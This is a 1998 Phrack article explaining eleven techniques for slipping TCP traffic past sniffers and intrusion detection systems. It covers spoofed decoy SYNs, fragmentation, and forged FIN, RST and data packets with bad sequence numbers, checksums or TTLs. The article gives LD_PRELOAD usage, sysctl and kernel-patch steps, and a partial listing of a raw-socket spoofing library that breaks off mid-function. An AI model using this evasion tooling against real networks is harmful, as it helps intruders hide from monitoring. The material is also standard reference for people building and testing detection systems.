File size: 50,240 Bytes
8ecd256 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 | ---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 10 of 12
-------------------------[ Defeating Sniffers and Intrusion Detection Systems
--------[ horizon <jmcdonal@unf.edu>
----[ Overview
The purpose of this article is to demonstrate some techniques that can be used
to defeat sniffers and intrusion detection systems. This article focuses
mainly on confusing your average "hacker" sniffer, with some rough coverage of
Intrusion Detection Systems (IDS). However, the methods and code present in
this article should be a good starting point for getting your packets past ID
systems. For an intense examination of attack techniques against IDS, check
out: http://www.nai.com/products/security/advisory/papers/ids-html/doc000.asp.
There are a large number of effective techniques other than those that are
implemented in this article. I have chosen a few generic techniques that
hopefully can be easily expanded into more targeted and complex attacks. After
implementing these attacks, I have gone through and attempted to correlate
them to the attacks described in the NAI paper, where appropriate.
The root cause of the flaws discussed in this article is that most sniffers
and intrusion detection systems do not have as robust of a TCP/IP
implementation as the machines that are actually communicating on the network.
Many sniffers and IDS use a form of datalink level access, such as BPF, DLPI,
or SOCK_PACKET. The sniffer receives the entire datalink level frame, and
gets no contextual clues from the kernel as to how that frame will be
interpreted. Thus, the sniffer has the job of interpreting the entire packet
and guessing how the kernel of the receiving machine is going to process it.
Luckily, 95% of the time, the packet is going to be sane, and the kernel
TCP/IP stack is going to behave rather predictably. It is the other 5% of the
time that we will be focusing on.
This article is divided into three sections: an overview of the techniques
employed, a description of the implementation and usage, and the code. Where
possible, the code has been implemented in a somewhat portable format: a
shared library that wraps around connect(), which you can use LD_PRELOAD to
"install" into your normal client programs. This shared library uses raw
sockets to create TCP packets, which should work on most unixes. However, some
of the attacks described are too complex to implement with raw sockets, so
simple OpenBSD kernel patches are supplied. I am working on complementary
kernel patches for Linux, which will be placed on the rhino9 web site when
they are complete. The rhino9 web site is at: http://www.rhino9.ml.org/
----[ Section 1. The Tricks
The first set of tricks are solely designed to fool most sniffers, and will
most likely have no effect on a decent ID system. The second set of tricks
should be advanced enough to start to have an impact on the effectiveness of
an intrusion detection system.
Sniffer Specific Attacks
------------------------
1. Sniffer Design - One Host Design
The first technique is extremely simple, and takes advantage of the design of
many sniffers. Several hacker sniffers are designed to follow one connection,
and ignore everything else until that connection is closed or reaches some
internal time out. Sniffers designed in this fashion have a very low profile,
as far as memory usage and CPU time. However, they obviously miss a great deal
of the data that can be obtained. This gives us an easy way of preventing our
packets from being captured: before our connection, we send a spoofed SYN
packet from a non-existent host to the same port that we are attempting to
connect to. Thus, the sniffer sees the SYN packet, and if it is listening, it
will set up its internal state to monitor all packets related to that
connection. Then, when we make our connection, the sniffer ignores our SYN
because it is watching the fake host. When the host later times out, our
connection will not be logged because our initial SYN packet has long been
sent.
2. Sniffer Design - IP options
The next technique depends on uninformed coding practices within sniffers.
If you look at the code for some of the hacker sniffers, namely ones based-off
of the original linsniffer, you will see that they have a structure that looks
like this:
struct etherpacket
{
etherheader eh;
ipheader ip;
tcpheader tcp;
char data[8192];
};
The sniffer will read a packet off of the datalink interface, and then slam it
into that structure so it can analyze it easily. This should work fine most
of the time. However, this approach makes a lot of assumptions: it assumes
that the size of the IP header is 20 bytes, and it also assumes that the size
of the TCP header is 20 bytes. If you send an IP packet with 40 bytes of
options, then the sniffer is going to look inside your IP options for the TCP
header, and completely misinterpret your packet. If the sniffer handles your
IP header correctly, but incorrectly handles the TCP header, that doesn't buy
you quite as much. In that situation, you get an extra 40 bytes of data that
the sniffer will log. I have implemented mandatory IP options in the OpenBSD
kernel such that it is manageable by a sysctl.
3. Insertion - FIN and RST Spoofing - Invalid Sequence Numbers
This technique takes advantage of the fact that your typical sniffer is not
going to keep track of the specific details of the ongoing connection. In a
TCP connection, sequence numbers are used as a control mechanism for
determining how much data has been sent, and the correct order for the data
that has been sent. Most sniffers do not keep track of the sequence numbers
in an ongoing TCP connection. This allows us to insert packets into the data
stream that the kernel will disregard, but the sniffer will interpret as valid.
The first technique we will use based on this is spoofing FIN and RST packets.
FIN and RST are control flags inside the TCP packets, a FIN indicating the
initiation of a shutdown sequence for one side of a connection, and an RST
indicating that a connection should be immediately torn down. If we send a
packet with a FIN or RST, with a sequence number that is far off of the current
sequence number expected by the kernel, then the kernel will disregard it.
However, the sniffer will likely regard this as a legitimate connection close
request or connection reset, and cease logging.
It is interesting to note that certain implementations of TCP stacks do not
check the sequence numbers properly upon receipt of an RST. This obviously
provides a large potential for a denial of service attack. Specifically, I
have noticed that Digital Unix 4.0d will tear down connections without
checking the sequence numbers on RST packets.
4. Insertion - Data Spoofing - Invalid Sequence Numbers
This technique is a variation of the previous technique, which takes advantage
of the fact that a typical sniffer will not follow the sequence numbers of a
TCP connection. A lot of sniffers have a certain data capture length, such
that they will stop logging a connection after that amount of data has been
captured. If we send a large amount of data after the connection initiation,
with completely wrong sequence numbers, our packets will be dropped by the
kernel. However, the sniffer will potentially log all of that data as valid
information. This is roughly an implementation of the "tcp-7" attack mentioned
in the NAI paper.
IDS / Sniffer Attacks:
---------------------
The above techniques work suprisingly well for most sniffers, but they are not
going to have much of an impact on most IDS. The next six techniques are a
bit more complicated, but represent good starting points for getting past the
more complex network monitors.
5. Evasion - IP Fragmentation
IP fragmentation allows packets to be split over multiple datagrams in order
to fit packets within the maximum transmission unit of the physical network
interface. Typically, TCP is aware of the mtu, and doesn't send packets that
need to be fragmented at an IP level. We can use this to our advantage to try
to confuse sniffers and IDS. There are several potential attacks involving
fragmentation, but we will only cover a simple one. We can send a TCP packet
split over several IP datagrams such that the first 8 bytes of the TCP header
are in a single packet, and the rest of the data is sent in 32 byte packets.
This actually buys us a lot in our ability to fool a network analysis tool.
First of all, the sniffer/IDS will have to be capable of doing fragment
reassembly. Second of all, it will have to be capable of dealing with
fragmented TCP headers. It turns out that this simple technique is more than
sufficient to get your packets past most datalink level network monitors.
This an another attack that I chose to implement as a sysctl in the OpenBSD
kernel.
This technique is very powerful in it's ability to get past most sniffers
completely. However, it requires some experimentation because you have to
make sure that your packets will get past all of the filters between you and
the target. Certain packet filters wisely drop fragmented packets that look
like they are going to rewrite the UDP/TCP header, or that look like they are
unduly small. The implementation in this article provides a decent deal of
control over the size of the fragments that your machine will output. This
will allow you to implement the "frag-1" and "frag-2" attacks described in the
NAI paper.
6. Desynchronization - Post Connection SYN
If we are attempting to fool an intelligent sniffer, or an ID system, then we
can be pretty certain that it will keep track of the TCP sequence numbers. For
this technique, we will attempt to desynchronize the sniffer/IDS from the
actual sequence numbers that the kernel is honoring. We will implement this
attack by sending a post connection SYN packet in our data stream, which will
have divergent sequence numbers, but otherwise meet all of the necessary
criteria to be accepted by our target host. However, the target host will
ignore this SYN packet, because it references an already established
connection. The intent of this attack is to get the sniffer/IDS to
resynchronize its notion of the sequence numbers to the new SYN packet. It
will then ignore any data that is a legitimate part of the original stream,
because it will be awaiting a different sequence number. If we succeed in
resynchronizing the IDS with a SYN packet, we can then send an RST packet with
the new sequence number and close down its notion of the connection. This
roughly corresponds with the "tcbc-2" attack mentioned in the NAI paper.
7. Desynchronization - Pre Connection SYN
Another attack we perform which is along this theme is to send an initial SYN
before the real connection, with an invalid TCP checksum. If the sniffer is
smart enough to ignore subsequent SYNs in a connection, but not smart enough
to check the TCP checksum, then this attack will synchronize the sniffer/IDS
to a bogus sequence number before the real connection occurs. This attack
calls bind to get the kernel to assign a local port to the socket before
calling connect.
8. Insertion - FIN and RST Spoofing - TCP checksum validation
This technique is a variation of the FIN/RST spoofing technique mentioned
above. However, this time we will attempt to send FIN and RST packets that
should legitimately close the connection, with one notable exception: the TCP
checksum will be invalid. These packets will be immediately dropped by the
kernel, but potentially honored by the IDS/sniffer. This attack requires
kernel support in order to determine the correct sequence numbers to use on
the packet. This is similar to the "insert-2" attack in the NAI paper.
9. Insertion - Invalid Data - TCP checksum validation
This technique is a variation of the previous data insertion attack, with the
exception that we will be inserting data with the correct sequence numbers,
but incorrect TCP checksums. This will serve to confuse and desynchronize
sniffers and ID by feeding it a lot of data that will not be honored by the
participating kernels. This attack requires kernel support to get the correct
sequence numbers for the outgoing packets. This attack is also similar to the
"insert-2" attack described in the NAI paper.
10. Insertion - FIN and RST Spoofing - Short TTL
If the IDS or sniffer is sitting on the network such that it is one or more
hops away from the host it is monitoring, then we can do a simple attack,
utilizing the TTL field of the IP packet. For this attack, we determine the
lowest TTL that can be used to reach the target host, and then subtract one.
This allows us to send packets that will not reach the target host, but that
have the potential of reaching the IDS or sniffer. In this attack, we send a
couple of FIN packets, and a couple of RST packets.
11. Insertion - Data Spoofing - Short TTL
For our final attack, we will send 8k of data with the correct sequence
numbers and TCP checksums. However, the TTL will be one hop too short to reach
our target host.
Summary
-------
All of these attacks work in concert to confuse sniffers and IDS. Here is a
breakdown of the order in which we perform them:
Attack 1 - One Host Sniffer Design.
FAKEHOST -> TARGET SYN
Attack 7 - Pre-connect Desynchronization Attempt.
REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number)
Kernel Activity
REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel)
Attack 6 - Post-connect Desynchronization Attempt.
REALHOST -> TARGET SYN (Arbitrary Seq Number X)
REALHOST -> TARGET SYN (Seq Number X+1)
Attack 4 - Data Spoofing - Invalid Sequence Numbers
REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)
Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers
REALHOST -> TARGET FIN (Seq Number X+2+8192)
REALHOST -> TARGET FIN (Seq Number X+3+8192)
REALHOST -> TARGET RST (Seq Number X+4+8192)
REALHOST -> TARGET RST (Seq Number X+5+8192)
Attack 11 - Data Spoofing - TTL
* REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y)
Attack 10 - FIN/RST Spoofing - TTL
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192)
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192)
Attack 9 - Data Spoofing - Checksum
* REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z)
Attack 8 - FIN/RST Spoofing - Checksum
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192)
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192)
The attacks with an asterisk require kernel support to determine the correct
sequence numbers. Arguably, this could be done without kernel support,
utilizing a datalink level sniffer, but it would make the code significantly
more complex, because it would have to reassemble fragments, and do several
validation checks in order to follow the real connection. The user can choose
which of these attacks he/she would like to perform, and the sequence numbers
will adjust themselves accordingly.
----[ Section 2 - Implementation and Usage
My primary goal when implementing these techniques was to keep the changes
necessary to normal system usage as slight as possible. I had to divide the
techniques into two categories: attacks that can be performed from user
context, and attacks that have to be augmented by the kernel in some fashion.
My secondary goal was to make the userland set of attacks reasonably portable
to other Unix environments, besides OpenBSD and Linux.
The userland attacks are implemented using shared library redirection, an
extremely useful technique borrowed from halflife's P51-08 article. The first
program listed below, congestant.c, is a shared library that the user requests
the loader to link first. This is done with the LD_PRELOAD environment
variable on several unixes. For more information about this technique, refer
to the original article by halflife.
The shared library defines the connect symbol, thus pre-empting the normal
connect function from libc (or libsocket) during the loading phase of program
execution. Thus, you should be able to use these techniques with most any
client program that utilizes normal BSD socket functionality. OpenBSD does
not let us do shared library redirection (when you attempt to dlsym the old
symbol out of libc, it gives you a pointer to the function you had pre-loaded).
However, this is not a problem because we can just call the connect() syscall
directly.
This shared library has some definite drawbacks, but you get what you pay for.
It will not work correctly with programs that do non-blocking connect calls,
or RAW or datalink level access. Furthermore, it is designed for use on TCP
sockets, and without kernel support to determine the type of a socket, it will
attempt the TCP attacks on UDP connections. This support is currently only
implemented under OpenBSD. However, this isn't that big of a drawback because
it just sends a few packets that get ignored. Another drawback to the shared
library is that it picks a sequence number out of the blue to represent the
"wrong" sequence number. Due to this fact, there is a very small possibility
that the shared library will pick a legitimate sequence number, and not
desynchronize the stream. This, however, is extremely unlikely.
A Makefile accompanies the shared library. Edit it to fit your host, and then
go into the source file and make it point to your copy of libc.so, and you
should be ready to go. The code has been tested on OpenBSD 2.3, 2.4, Debian
Linux, Slackware Linux, Debian glibc Linux, Solaris 2.5, and Solaris 2.6.
You can use the library like this:
# export LD_PRELOAD=./congestion.so
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
# telnet www.blah.com
The library will "wrap" around any connects in the programs you run from that
point on, and provide you some protection behind the scenes. You can control
the program by defining the CONGCONF environment variable. You give it a
comma delimited list of attacks, which break out like this:
DEBUG: Show debugging information
OH: Do the One Host Design Attack
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
SS: Spoof a SYN after the connection in a desynchronization attempt.
DS: Insert 8k of data with bad sequence numbers.
FS: Spoof FIN packets with bad sequence numbers.
RS: Spoof RST packets with bad sequence numbers.
DC: Insert 8k of data with bad TCP checksums. (needs kernel support)
FC: Spoof FIN packets with bad TCP checksums. (needs kernel support)
RC: Spoof RST packets with bad TCP checksums. (needs kernel support)
DT: Insert 8k of data with short TTLs. (needs kernel support)
FT: Spoof FIN packets with short TTLs. (needs kernel support)
RT: Spoof RST packets with short TTLs. (needs kernel support)
Kernel Support
--------------
OpenBSD kernel patches are provided to facilitate several of the techniques
described above. These patches have been made against the 2.4 source
distribution. I have added three sysctl variables to the kernel, and one new
system call. The three sysctl variables are:
net.inet.ip.fraghackhead (integer)
net.inet.ip.fraghackbody (integer)
net.inet.ip.optionshack (integer)
The new system call is getsockinfo(), and it is system call number 242.
The three sysctl's can be used to modify the characteristics of every outgoing
IP packet coming from the machine. The fraghackhead variable specifies a new
mtu, in bytes, for outgoing IP datagrams. fraghackhead is applied to every
outgoing datagram, unless fraghackbody is also defined. In that case, the mtu
for the first fragment of a packet is read from fraghackhead, and the mtu for
every consecutive fragment is read from fraghackbody. This allows you to
force your machine into fragmenting all of its traffic, to any size that you
specify. The reason it is divided into two variables is so that you can have
the first fragment contain the entire TCP/UDP header, and have the following
fragments be 8 or 16 bytes. This way, you can get your fragmented packets past
certain filtering routers that block any sort of potential header rewriting.
The optionshack sysctl allows you to turn on mandatory 40 bytes of NULL IP
options on every outgoing packet.
I implemented these controls such that they do not have any effect on packets
sent through raw sockets. The implication of this is that our attacking
packets will not be fragmented or contain IP options.
Using these sysctl's is pretty simple: for the fraghack variables, you specify
a number of bytes (or 0 to turn them off), and for the optionshack, you either
set it to 0 or 1. Here is an example use:
# sysctl -w net.inet.ip.optionshack=1 # 40 bytes added to header
# sysctl -w net.inet.ip.fraghackhead=80 # 20 + 40 + 20 = full protocol header
# sysctl -w net.inet.ip.fraghackbody=68 # 20 + 40 + 8 = smallest possible frag
It is very important to note that you should be careful with the fraghack
options. When you specify extreme fragmentation, you quickly eat up the
memory that the kernel has available for storing packet headers. If memory
usage is too high, you will notice sendto() returning a no buffer space error.
If you stick to programs like telnet or ssh, that use small packets, then you
should be fine with 28 or 28/36. However, if you use programs that use large
packets like ftp or rcp, then you should bump fraghackbody up to a higher
number, such as 200.
The system call, getsockinfo, is needed by the userland program to determine if
a socket is a TCP socket, and to query the kernel for the next sequence number
that it expects to send on the next outgoing packet, as well as the next
sequence number it expects to receive from it's peer. This allows the
userland program to implement attacks based on having a correct sequence
number, but some other flaw in the packet such as a short TTL or bad TCP
checksum.
Kernel Patch Installation
-------------------------
Here are the steps I use to install the kernel patches.
Disclaimer: I am not an experienced kernel programmer, so don't be too upset
if your box gets a little flaky. The testing I've done on my own machines has
gone well, but be aware that you really are screwing with critical stuff by
installing these patches. You may suffer performance hits, or other such
unpleasentries. But hey, you can't have any fun if you don't take any risks. :>
Step 1. Apply the netinet.patch to /usr/src/sys/netinet/
Step 2. cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h
Step 3. go into /usr/src/usr.sbin/sysctl, and rebuild and install it
Step 4. Apply kern.patch to /usr/src/sys/kern/
Step 5. cd /usr/src/sys/kern; make
Step 6. Apply sys.patch to /usr/src/sys/sys/
Step 7. cd into your kernel build directory
(/usr/src/sys/arch/XXX/compile/XXX), and do a make depend && make.
Step 8. cp bsd /bsd, reboot, and cross your fingers. :>
----[ The Code
<++> congestant/Makefile
# OpenBSD
LDPRE=-Bshareable
LDPOST=
OPTS=-DKERNELSUPPORT
# Linux
#LDPRE=-Bshareable
#LDPOST=-ldl
#OPTS=
# Solaris
#LDPRE=-G
#LDPOST=-ldl
#OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42
congestant.so: congestant.o
ld ${LDPRE} -o congestant.so congestant.o ${LDPOST}
congestant.o: congestant.c
gcc ${OPTS} -fPIC -c congestant.c
clean:
rm -f congestant.o congestant.so
<-->
<++> congestant/congestant.c
/*
* congestant.c - demonstration of sniffer/ID defeating techniques
*
* by horizon <jmcdonal@unf.edu>
* special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor
*
* openbsd doesn't let us do shared lib redirection, so we implement the
* connect system call directly. Also, the kernel support for certain attacks
* is only implemented in openbsd. When I finish the linux support, it will
* be available at http://www.rhino9.ml.org
*
* This whole thing is a conditionally compiling nightmare. :>
* This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1,
* Solaris 2.6, Debian Linux, and the glibc Debian Linux
*/
/* The path to our libc. (libsocket under Solaris) */
/* You don't need this if you are running OpenBSD */
/* #define LIB_PATH "/usr/lib/libsocket.so" */
#define LIB_PATH "/lib/libc-2.0.7.so"
/* #define LIB_PATH "/usr/lib/libc.so" */
/* The source of our initial spoofed SYN in the One Host Design attack */
/* This has to be some host that will survive any outbound packet filters */
#define FAKEHOST "42.42.42.42"
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#if __linux__
#include <endian.h>
#endif
#include <errno.h>
struct cong_config
{
int one_host_attack;
int fin_seq;
int rst_seq;
int syn_seq;
int data_seq;
int data_chk;
int fin_chk;
int rst_chk;
int syn_chk;
int data_ttl;
int fin_ttl;
int rst_ttl;
int ttl;
} cong_config;
int cong_init=0;
int cong_debug=0;
long cong_ttl_cache=0;
int cong_ttl=0;
/* If this is not openbsd, then we will use the connect symbol from libc */
/* otherwise, we will use syscall(SYS_connect, ...) */
#ifndef __OpenBSD__
#if __GLIBC__ == 2
int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL;
#else
int (*cong_connect)(int, const struct sockaddr *, int)=NULL;
#endif
#endif /* not openbsd */
#define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x));
/* define our own headers so its easier to port. use cong_ to avoid any
* potential symbol name collisions */
struct cong_ip_header
{
unsigned char ip_hl:4, /* header length */
ip_v:4; /* version */
unsigned char ip_tos; /* type of service */
unsigned short ip_len; /* total length */
unsigned short ip_id; /* identification */
unsigned short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
unsigned char ip_ttl; /* time to live */
unsigned char ip_p; /* protocol */
unsigned short ip_sum; /* checksum */
unsigned long ip_src, ip_dst; /* source and dest address */
};
struct cong_icmp_header /* this is really an echo */
{
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short icmp_checksum;
unsigned short icmp_id;
unsigned short icmp_seq;
unsigned long icmp_timestamp;
};
struct cong_tcp_header
{
unsigned short th_sport; /* source port */
unsigned short th_dport; /* destination port */
unsigned int th_seq; /* sequence number */
unsigned int th_ack; /* acknowledgement number */
#if BYTE_ORDER == LITTLE_ENDIAN
unsigned char th_x2:4, /* (unused) */
th_off:4; /* data offset */
#endif
#if BYTE_ORDER == BIG_ENDIAN
unsigned char th_off:4, /* data offset */
th_x2:4; /* (unused) */
#endif
unsigned char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
unsigned short th_win; /* window */
unsigned short th_sum; /* checksum */
unsigned short th_urp; /* urgent pointer */
};
struct cong_pseudo_header
{
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
};
int cong_checksum(unsigned short* data, int length)
{
register int nleft=length;
register unsigned short *w = data;
register int sum=0;
unsigned short answer=0;
while (nleft>1)
{
sum+=*w++;
nleft-=2;
}
if (nleft==1)
{
*(unsigned char *)(&answer) = *(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16) + (sum & 0xffff);
sum +=(sum>>16);
answer=~sum;
return answer;
}
#define PHLEN (sizeof (struct cong_pseudo_header))
#define IHLEN (sizeof (struct cong_ip_header))
#define ICMPLEN (sizeof (struct cong_icmp_header))
#define THLEN (sizeof (struct cong_tcp_header))
/* Utility routine for the ttl attack. Sends an icmp echo */
void cong_send_icmp(long source, long dest, int seq, int id, int ttl)
{
struct sockaddr_in sa;
int sock,packet_len;
char *pkt;
struct cong_ip_header *ip;
struct cong_icmp_header *icmp;
int on=1;
if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket");
exit(1);
}
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
{
perror("setsockopt: IP_HDRINCL");
exit(1);
}
bzero(&sa,sizeof(struct sockaddr_in));
sa.sin_addr.s_addr = dest;
sa.sin_family = AF_INET;
pkt=calloc((size_t)1,(size_t)(IHLEN+ICMPLEN));
ip=(struct cong_ip_header *)pkt;
icmp=(struct cong_icmp_header *)(pkt+IHLEN);
ip->ip_v = 4;
ip->ip_hl = IHLEN >>2;
ip->ip_tos = 0;
ip->ip_len = htons(IHLEN+ICMPLEN);
ip->ip_id = htons(getpid() & 0xFFFF);
ip->ip_off = 0;
ip->ip_ttl = ttl;
ip->ip_p = IPPROTO_ICMP ;//ICMP
ip->ip_sum = 0;
ip->ip_src = source;
ip->ip_dst = dest;
icmp->icmp_type=8;
icmp->icmp_seq=htons(seq);
icmp->icmp_id=htons(id);
icmp->icmp_checksum=cong_checksum((unsigned short*)icmp,ICMPLEN);
